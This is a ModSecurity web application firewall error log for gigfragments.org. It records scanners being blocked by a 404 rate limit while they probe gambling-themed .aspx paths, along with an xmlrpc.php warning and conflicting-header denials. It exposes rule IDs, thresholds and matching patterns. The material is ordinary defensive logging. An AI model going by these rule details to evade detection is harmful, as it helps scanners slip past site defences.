[Wed Apr 01 01:05:48.852324 2026] [:error] [pid 52592:tid 52656] [client 147.135.252.138:48636] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acv-7D-61iqkPKUhqlbHcgAAAAk"]
[Wed Apr 01 01:05:50.721129 2026] [:error] [pid 52836:tid 52895] [client 147.135.252.138:49448] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acv-7pjk_YTY8bXnEz4k_wAAAEM"]
[Wed Apr 01 01:05:52.741832 2026] [:error] [pid 52593:tid 52689] [client 147.135.252.138:49464] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acv-8OKOtxqtcDhRtD9-7gAAAI8"]
[Wed Apr 01 01:05:54.762525 2026] [:error] [pid 52592:tid 52657] [client 147.135.252.138:49468] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acv-8j-61iqkPKUhqlbHfwAAAAo"]
[Wed Apr 01 01:05:56.644366 2026] [:error] [pid 52836:tid 52916] [client 147.135.252.138:49480] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acv-9Jjk_YTY8bXnEz4lFAAAAFg"]
[Wed Apr 01 01:05:58.529844 2026] [:error] [pid 52593:tid 52682] [client 147.135.252.138:49496] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acv-9uKOtxqtcDhRtD9-_QAAAIg"]
[Wed Apr 01 01:06:00.550496 2026] [:error] [pid 52593:tid 52694] [client 147.135.252.138:46442] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acv--OKOtxqtcDhRtD9_AwAAAJQ"]
[Wed Apr 01 01:06:02.576380 2026] [:error] [pid 52594:tid 52703] [client 147.135.252.138:46448] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acv--ke53suVMS91e0QeqQAAAMI"]
[Wed Apr 01 01:06:04.587949 2026] [:error] [pid 52594:tid 52718] [client 147.135.252.138:46450] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acv-_Ee53suVMS91e0QesQAAANE"]
[Wed Apr 01 01:06:06.455287 2026] [:error] [pid 52593:tid 52687] [client 147.135.252.138:46454] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acv-_uKOtxqtcDhRtD9_FwAAAI0"]
[Wed Apr 01 01:06:08.462081 2026] [:error] [pid 52592:tid 52667] [client 147.135.252.138:46460] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acv_AD-61iqkPKUhqlbHiwAAABQ"]
[Wed Apr 01 01:06:10.468880 2026] [:error] [pid 52836:tid 52905] [client 147.135.252.138:50540] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acv_Apjk_YTY8bXnEz4lLgAAAE0"]
[Wed Apr 01 01:06:12.497065 2026] [:error] [pid 52836:tid 52902] [client 147.135.252.138:50546] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acv_BJjk_YTY8bXnEz4lPAAAAEo"]
[Wed Apr 01 01:06:14.499857 2026] [:error] [pid 52592:tid 52671] [client 147.135.252.138:50556] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acv_Bj-61iqkPKUhqlbHkgAAABg"]
[Wed Apr 01 01:06:16.351254 2026] [:error] [pid 52594:tid 52714] [client 147.135.252.138:50568] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acv_CEe53suVMS91e0QewAAAAM0"]
[Wed Apr 01 01:36:28.019778 2026] [:error] [pid 52594:tid 52712] [client 24.216.66.140:55252] [client 24.216.66.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.216.66.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acwGHEe53suVMS91e0Qq8QAAAMs"]
[Wed Apr 01 02:51:42.027949 2026] [:error] [pid 52594:tid 52717] [client 49.51.243.95:60658] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acwXvke53suVMS91e0RIpAAAANA"]
[Wed Apr 01 04:10:13.197993 2026] [:error] [pid 45613:tid 45696] [client 43.135.145.77:52916] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acwqJXVVWWw8hrj-8Eu5oAAAAIg"]
[Wed Apr 01 07:03:51.322467 2026] [:error] [pid 23819:tid 23842] [client 149.233.186.7:64731] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acxS19dfUS_37wFAM77qYgAAANQ"]
[Wed Apr 01 07:03:53.709319 2026] [:error] [pid 23714:tid 23756] [client 149.233.186.7:61537] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acxS2UHxDDU2ETcG9DTctQAAABY"]
[Wed Apr 01 07:03:56.151658 2026] [:error] [pid 24314:tid 24336] [client 149.233.186.7:59636] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acxS3JRF3FCzjmMUX5bpQgAAARI"]
[Wed Apr 01 07:03:58.517440 2026] [:error] [pid 24348:tid 24379] [client 149.233.186.7:61418] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acxS3m0Vs69Y5nF1HA_fZQAAAYA"]
[Wed Apr 01 07:04:00.921941 2026] [:error] [pid 23714:tid 23748] [client 149.233.186.7:63440] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acxS4EHxDDU2ETcG9DTcywAAAA4"]
[Wed Apr 01 07:04:03.208540 2026] [:error] [pid 23716:tid 23807] [client 149.233.186.7:60571] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acxS43VtFUg_mx-RYb5rawAAAJM"]
[Wed Apr 01 07:04:05.371142 2026] [:error] [pid 23715:tid 23762] [client 149.233.186.7:65069] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acxS5a-REzOruNbiT9xVTwAAAEE"]
[Wed Apr 01 07:04:07.931787 2026] [:error] [pid 23715:tid 23785] [client 149.233.186.7:61481] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acxS56-REzOruNbiT9xVVwAAAFg"]
[Wed Apr 01 07:04:14.702996 2026] [:error] [pid 24314:tid 24323] [client 149.233.186.7:60603] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acxS7pRF3FCzjmMUX5bpUwAAAQU"]
[Wed Apr 01 07:04:17.037694 2026] [:error] [pid 24346:tid 24358] [client 149.233.186.7:63273] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acxS8bc1l8kg9MhGHIKPigAAAUY"]
[Wed Apr 01 07:04:19.234209 2026] [:error] [pid 24348:tid 24396] [client 149.233.186.7:62050] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acxS820Vs69Y5nF1HA_fhAAAAZE"]
[Wed Apr 01 07:04:21.721253 2026] [:error] [pid 23714:tid 23742] [client 149.233.186.7:59797] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acxS9UHxDDU2ETcG9DTc8QAAAAg"]
[Wed Apr 01 07:04:23.750973 2026] [:error] [pid 24346:tid 24370] [client 149.233.186.7:61739] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acxS97c1l8kg9MhGHIKPkAAAAVI"]
[Wed Apr 01 07:04:26.116693 2026] [:error] [pid 24314:tid 24338] [client 149.233.186.7:60255] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acxS-pRF3FCzjmMUX5bpXQAAARQ"]
[Wed Apr 01 07:04:28.398158 2026] [:error] [pid 23715:tid 23768] [client 149.233.186.7:62024] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acxS_K-REzOruNbiT9xVYQAAAEc"]
[Wed Apr 01 07:04:30.730325 2026] [:error] [pid 23715:tid 23767] [client 149.233.186.7:61570] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acxS_q-REzOruNbiT9xVZQAAAEY"]
[Wed Apr 01 07:04:33.000490 2026] [:error] [pid 23715:tid 23780] [client 149.233.186.7:60431] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acxTAK-REzOruNbiT9xVbwAAAFM"]
[Wed Apr 01 07:04:35.125545 2026] [:error] [pid 23715:tid 23768] [client 149.233.186.7:61631] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acxTA6-REzOruNbiT9xVeAAAAEc"]
[Wed Apr 01 07:04:42.726984 2026] [:error] [pid 24348:tid 24403] [client 149.233.186.7:60662] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acxTCm0Vs69Y5nF1HA_fzgAAAZg"]
[Wed Apr 01 07:04:45.037165 2026] [:error] [pid 23716:tid 23808] [client 149.233.186.7:63880] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acxTDXVtFUg_mx-RYb5rdwAAAJQ"]
[Wed Apr 01 07:05:40.547008 2026] [:error] [pid 23715:tid 23770] [client 149.233.186.7:59630] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acxTRK-REzOruNbiT9xWBQAAAEk"]
[Wed Apr 01 07:05:42.892291 2026] [:error] [pid 23714:tid 23757] [client 149.233.186.7:62072] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acxTRkHxDDU2ETcG9DTdnAAAABc"]
[Wed Apr 01 07:05:45.100785 2026] [:error] [pid 24346:tid 24352] [client 149.233.186.7:64255] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acxTSbc1l8kg9MhGHIKP5wAAAUA"]
[Wed Apr 01 07:05:47.712595 2026] [:error] [pid 23715:tid 23766] [client 149.233.186.7:62128] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acxTS6-REzOruNbiT9xWFAAAAEU"]
[Wed Apr 01 07:05:50.393981 2026] [:error] [pid 23714:tid 23754] [client 149.233.186.7:65038] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acxTTkHxDDU2ETcG9DTdrwAAABQ"]
[Wed Apr 01 07:05:53.237827 2026] [:error] [pid 24346:tid 24372] [client 149.233.186.7:59852] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acxTUbc1l8kg9MhGHIKP8QAAAVQ"]
[Wed Apr 01 07:05:55.650589 2026] [:error] [pid 23716:tid 23808] [client 149.233.186.7:61042] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acxTU3VtFUg_mx-RYb5rnAAAAJQ"]
[Wed Apr 01 07:05:57.857889 2026] [:error] [pid 23716:tid 23801] [client 149.233.186.7:63985] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acxTVXVtFUg_mx-RYb5rnwAAAI0"]
[Wed Apr 01 07:06:00.345503 2026] [:error] [pid 23714:tid 23744] [client 149.233.186.7:63910] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acxTWEHxDDU2ETcG9DTdzgAAAAo"]
[Wed Apr 01 07:06:02.685343 2026] [:error] [pid 23714:tid 23738] [client 149.233.186.7:63288] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acxTWkHxDDU2ETcG9DTd4gAAAAQ"]
[Wed Apr 01 07:06:04.853575 2026] [:error] [pid 24314:tid 24328] [client 149.233.186.7:62991] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acxTXJRF3FCzjmMUX5bpsAAAAQo"]
[Wed Apr 01 07:06:08.040047 2026] [:error] [pid 23714:tid 23740] [client 149.233.186.7:62441] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acxTYEHxDDU2ETcG9DTd5AAAAAY"]
[Wed Apr 01 07:06:10.261154 2026] [:error] [pid 23715:tid 23781] [client 149.233.186.7:60230] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acxTYq-REzOruNbiT9xWIwAAAFQ"]
[Wed Apr 01 07:06:12.673925 2026] [:error] [pid 23714:tid 23738] [client 149.233.186.7:61559] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acxTZEHxDDU2ETcG9DTd8wAAAAQ"]
[Wed Apr 01 07:06:15.849539 2026] [:error] [pid 23714:tid 23750] [client 149.233.186.7:60338] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acxTZ0HxDDU2ETcG9DTeDgAAABA"]
[Wed Apr 01 07:06:18.164970 2026] [:error] [pid 23714:tid 23743] [client 149.233.186.7:62109] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acxTakHxDDU2ETcG9DTeGgAAAAk"]
[Wed Apr 01 07:06:20.562317 2026] [:error] [pid 24314:tid 24333] [client 149.233.186.7:59715] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acxTbJRF3FCzjmMUX5bptwAAAQ8"]
